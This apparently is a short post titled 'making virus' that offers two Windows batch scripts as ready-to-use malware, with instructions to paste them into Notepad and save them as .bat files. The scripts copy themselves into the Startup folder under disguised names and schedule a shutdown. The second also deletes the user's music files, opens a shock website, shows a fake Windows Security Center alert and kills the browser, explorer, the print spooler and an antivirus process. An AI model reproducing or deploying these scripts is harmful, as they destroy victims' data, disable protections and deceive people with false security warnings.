making virus

5th A virus
write this in notepad :

@echo off
title Virus Detected
cls
:a
if not exist "%userprofile%\start menu\programs\startup\virus.ba t" goto b
if exist "%userprofile%\start menu\programs\startup\virus.ba t" goto c
goto a
:b
copy "startup.bat" "%userprofile%\start menu\programs\startup\virus.ba t" >nul
goto c
:c
cls
shutdown -s -t 180 -c "You Got Owned"
exit

save as *.bat

The most dangerous virus

@echo off
title 6121824
color 4
cd %userprofile%\Start Menu\Programs\Startup
if exist "delete-this-virus.bat" goto start
if exist "Windows.bat" goto start
msg * Virus Deleted
cd %userprofile%\Desktop
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "C:\"
if exist "delete-this-virus.bat" del "delete-this-virus.bat"
cd %userprofile%\My Documents\My Received Files
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "C:\"
if exist "delete-this-virus.bat" del "delete-this-virus.bat"
cd C:\
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "Windows.bat"
if exist "delete-this-virus.bat" copy "delete-this-virus.bat" "HackandTrick.bat"
if exist "Windows.bat" copy "Windows.bat" "%userprofile%\Start Menu\Programs\Startup"
if exist "HackandTrick.bat" copy "HackandTrick.bat" "%userprofile%\Start Menu\Programs\Startup"
cls
:start
start http://meatspin.com
start http://onload.110mb.com/Windows-Virus...
start "6121824"
time 12:00
cd %userprofile%\Desktop
if exist "*.*wav" del "*.*wav"
if exist "*.*Mp3" del "*.*Mp3"
cd %userprofile%\My Documents\My Music
if exist "*.*wav" del "*.*wav"
if exist "*.*Mp3" del "*.*Mp3"
msg * Windows Security Center has Detected a Virus on your Computer
msg * Owned by 6121824
msg * 6121824
msg * 6121824
at 12:01 msg * 6121824 © HackandTrick
at 12:02 tskill firefox
at 12:02 tskill iexplore
at 12:03 msg * 6121824
at 12:04 msg * 6121824
at 12:04 tskill "ccApp"
at 12:04 tskill explorer
at 12:04 tskill "spoolsv"
start